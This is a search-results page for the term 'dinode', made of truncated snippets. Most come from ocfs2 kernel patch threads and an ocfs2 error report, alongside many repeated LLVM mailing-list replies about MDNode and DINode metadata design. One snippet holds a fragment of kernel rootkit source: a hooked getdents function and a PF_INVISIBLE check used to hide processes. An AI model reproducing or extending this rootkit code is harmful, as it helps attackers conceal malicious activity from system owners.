search for: dinode

While adding a file into orphan dir in ocfs2_orphan_add(), it calls __ocfs2_add_entry() before ocfs2_journal_access_di(). If ocfs2_journal_access_di() failed, the file is added into orphan dir, and orphan dir dinode updated, but file dinode has not been updated. Accordingly, the data is not consistent between file dinode and orphan dir. So, need to call ocfs2_journal_access_di() before __ocfs2_add_entry(), and if ocfs2_journal_access_di() failed, orphan_fe and orphan_dir_inode->i_nlink need rollback....

.../journal.h | 5 +++-- 1 files changed, 3 insertions(+), 2 deletions(-) diff --git a/fs/ocfs2/journal.h b/fs/ocfs2/journal.h index 619dd7f..eb7b763 100644 --- a/fs/ocfs2/journal.h +++ b/fs/ocfs2/journal.h @@ -437,8 +437,9 @@ static inline int ocfs2_unlink_credits(struct super_block *sb) } /* dinode + orphan dir dinode + inode alloc dinode + orphan dir entry + - * inode alloc group descriptor + orphan dir index leaf */ -#define OCFS2_DELETE_INODE_CREDITS (3 * OCFS2_INODE_UPDATE_CREDITS + 3) + * inode alloc group descriptor + orphan dir index root + + * orphan dir index leaf */ +#define OCFS2_D...

...welcome on whether this violates any layering rule. Other choices are: a> Keep a map in DwarfDebug Keep in mind that the map is used at many stages, and it has to be in sync with MDNodeSet. b> Generalize MDNode to be aware of hash (David can provide more details) c> Extend MDNode to DINode and modify streamers (bitcode reader|writer, ll reader|writer) to be aware of DINode We can provide DINode::get(…) to create a DINode. DINode can have its own Profile function. Other suggestions are welcome. --------------------------- Preliminary Results: SPEC xalancbmk: ld time down from 20+...

...emonstrates just how much work that > is, but until then we can only make vague statements, and by the time > we do this by any substantial amount it will've been a fair bit of > work only to throw it away in favor of (b) if it looks too unweildy.) > >> c> Extend MDNode to DINode and modify streamers (bitcode reader|writer, ll reader|writer) to be aware of DINode >> We can provide DINode::get(…) to create a DINode. DINode can have its own Profile function. > > As discussed offline, Eric & I really don't think this is acceptable. > Again, those who...

...} int is_invisible(pid_t pid) { struct task_struct *task; if((task = find_task(pid)) == NULL) return(0); if(task->flags & PF_INVISIBLE) return(1); return(0); } int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { int res; int proc = 0; struct inode *dinode; char *ptr = (char *)dirp; struct dirent *curr; struct dirent *prev = NULL; res = (*original_getdents)(fd, dirp, count); if(!res) return(res); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current...

...is a much simpler solution. > Other choices are: > a> Keep a map in DwarfDebug > Keep in mind that the map is used at many stages, and it has to be in sync with MDNodeSet. > b> Generalize MDNode to be aware of hash (David can provide more details) > c> Extend MDNode to DINode and modify streamers (bitcode reader|writer, ll reader|writer) to be aware of DINode > We can provide DINode::get(…) to create a DINode. DINode can have its own Profile function. > Other suggestions are welcome. > a or b please. > Transition from current DI Metadata: > To have...

Ooops, last one didn't CC ocfs2-devel. On Mon, Oct 13, 2008 at 06:16:15PM -0700, Joel Becker wrote: > @@ -232,25 +231,17 @@ int ocfs2_populate_inode(struct inode *inode, struct ocfs2_dinode *fe, > ocfs2_mount_local(osb) || !ocfs2_stack_supports_plocks()) > use_plocks = 0; > > - /* this means that read_inode cannot create a superblock inode > - * today. change if needed. */ > - if (!OCFS2_IS_VALID_DINODE(fe) || > - !(fe->i_flags & cpu_to_le3...

...a? > >> Other choices are: >> a> Keep a map in DwarfDebug >> Keep in mind that the map is used at many stages, and it has to be in sync with MDNodeSet. >> b> Generalize MDNode to be aware of hash (David can provide more details) >> c> Extend MDNode to DINode and modify streamers (bitcode reader|writer, ll reader|writer) to be aware of DINode >> We can provide DINode::get(…) to create a DINode. DINode can have its own Profile function. >> Other suggestions are welcome. >> > > a or b please. Option a> will require a DwarfD...

...may have a patch that demonstrates just how much work that is, but until then we can only make vague statements, and by the time we do this by any substantial amount it will've been a fair bit of work only to throw it away in favor of (b) if it looks too unweildy.) > c> Extend MDNode to DINode and modify streamers (bitcode reader|writer, ll reader|writer) to be aware of DINode > We can provide DINode::get(…) to create a DINode. DINode can have its own Profile function. As discussed offline, Eric & I really don't think this is acceptable. Again, those who own/maintain/have...

...handle->ih_generation); result = ERR_PTR(-ESTALE); goto bail; } diff --git a/fs/ocfs2/journal.h b/fs/ocfs2/journal.h index 619dd7f..eb7b763 100644 --- a/fs/ocfs2/journal.h +++ b/fs/ocfs2/journal.h @@ -437,8 +437,9 @@ static inline int ocfs2_unlink_credits(struct super_block *sb) } /* dinode + orphan dir dinode + inode alloc dinode + orphan dir entry + - * inode alloc group descriptor + orphan dir index leaf */ -#define OCFS2_DELETE_INODE_CREDITS (3 * OCFS2_INODE_UPDATE_CREDITS + 3) + * inode alloc group descriptor + orphan dir index root + + * orphan dir index leaf */ +#define OCFS2_D...

...not a good idea? > > > Other choices are: > a> Keep a map in DwarfDebug > Keep in mind that the map is used at many stages, and it has to be in sync > with MDNodeSet. > b> Generalize MDNode to be aware of hash (David can provide more details) > c> Extend MDNode to DINode and modify streamers (bitcode reader|writer, ll > reader|writer) to be aware of DINode > We can provide DINode::get(…) to create a DINode. DINode can have its own > Profile function. > Other suggestions are welcome. > > > a or b please. > > Option a> will require a D...

...pt for `MDNode` into a separate subclass, so that non-forward-reference `MDNode`s don't have to pay for RAUW overhead. The class hierarchy I envision looks something like this: Metadata MDNode TempMDNode // MDNodeFwdRef? UniquableMDNode // GenericMDNode? DINode // Is this layer useful? DILocation DIScope DIType DIBasicType DICompositeType ... DISubprogram ... DICompileUnit ... MDString ValueAsMetadata `UniquableM...

I received the following error messages in the system logs. Is this anything to be concerned with? kernel: (4074,0):ocfs2_populate_inode:234 ERROR: Invalid dinode: i_ino=1293597, i_blkno=1293597, signature = INODE01, flags = 0x0 kernel: (4074,0):ocfs2_read_locked_inode:389 ERROR: populate inode failed! i_blkno=1293597, i_ino=1293597 kernel: (4074,0):ocfs2_iget:131 ERROR: status = -116 kernel: (4074,0):ocfs2_iget:141 ERROR: status = -116 kernel: (4074,0):...

...> Other choices are: >>> a> Keep a map in DwarfDebug >>> Keep in mind that the map is used at many stages, and it has to be in sync with MDNodeSet. >>> b> Generalize MDNode to be aware of hash (David can provide more details) >>> c> Extend MDNode to DINode and modify streamers (bitcode reader|writer, ll reader|writer) to be aware of DINode >>> We can provide DINode::get(…) to create a DINode. DINode can have its own Profile function. >>> Other suggestions are welcome. >>> >> >> a or b please. > Option a&g...

...hoices are: >>> a> Keep a map in DwarfDebug >>> Keep in mind that the map is used at many stages, and it has to be in sync >>> with MDNodeSet. >>> b> Generalize MDNode to be aware of hash (David can provide more details) >>> c> Extend MDNode to DINode and modify streamers (bitcode reader|writer, ll >>> reader|writer) to be aware of DINode >>> We can provide DINode::get(…) to create a DINode. DINode can have its own >>> Profile function. >>> Other suggestions are welcome. >>> >>> >>>...

...s not a good idea? > > > Other choices are: > a> Keep a map in DwarfDebug > Keep in mind that the map is used at many stages, and it has to be in sync > with MDNodeSet. > b> Generalize MDNode to be aware of hash (David can provide more details) > c> Extend MDNode to DINode and modify streamers (bitcode reader|writer, ll > reader|writer) to be aware of DINode > We can provide DINode::get(…) to create a DINode. DINode can have its own > Profile function. > Other suggestions are welcome. > > > a or b please. > > Option a> will require a Dwa...

...t; >> Other choices are: >> a> Keep a map in DwarfDebug >> Keep in mind that the map is used at many stages, and it has to be in sync >> with MDNodeSet. >> b> Generalize MDNode to be aware of hash (David can provide more details) >> c> Extend MDNode to DINode and modify streamers (bitcode reader|writer, ll >> reader|writer) to be aware of DINode >> We can provide DINode::get(…) to create a DINode. DINode can have its own >> Profile function. >> Other suggestions are welcome. >> >> >> a or b please. >>...

...;>> a> Keep a map in DwarfDebug >>>> Keep in mind that the map is used at many stages, and it has to be in sync >>>> with MDNodeSet. >>>> b> Generalize MDNode to be aware of hash (David can provide more details) >>>> c> Extend MDNode to DINode and modify streamers (bitcode reader|writer, ll >>>> reader|writer) to be aware of DINode >>>> We can provide DINode::get(…) to create a DINode. DINode can have its own >>>> Profile function. >>>> Other suggestions are welcome. >>>> >&...

Hello, Does anyone know if it is possible to RAUW the Metadata? I took a look at the source for it and IIUC, it is not possible. What should I do to implement the RAUW for DINode (more precisely DILocation)? Thank you for your help, Son Tuan Vu -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://lists.llvm.org/pipermail/llvm-dev/attachments/20180730/cfa3ae3b/attachment.html>

...Keep a map in DwarfDebug >>>>> Keep in mind that the map is used at many stages, and it has to be in sync >>>>> with MDNodeSet. >>>>> b> Generalize MDNode to be aware of hash (David can provide more details) >>>>> c> Extend MDNode to DINode and modify streamers (bitcode reader|writer, ll >>>>> reader|writer) to be aware of DINode >>>>> We can provide DINode::get(…) to create a DINode. DINode can have its own >>>>> Profile function. >>>>> Other suggestions are welcome. >&gt...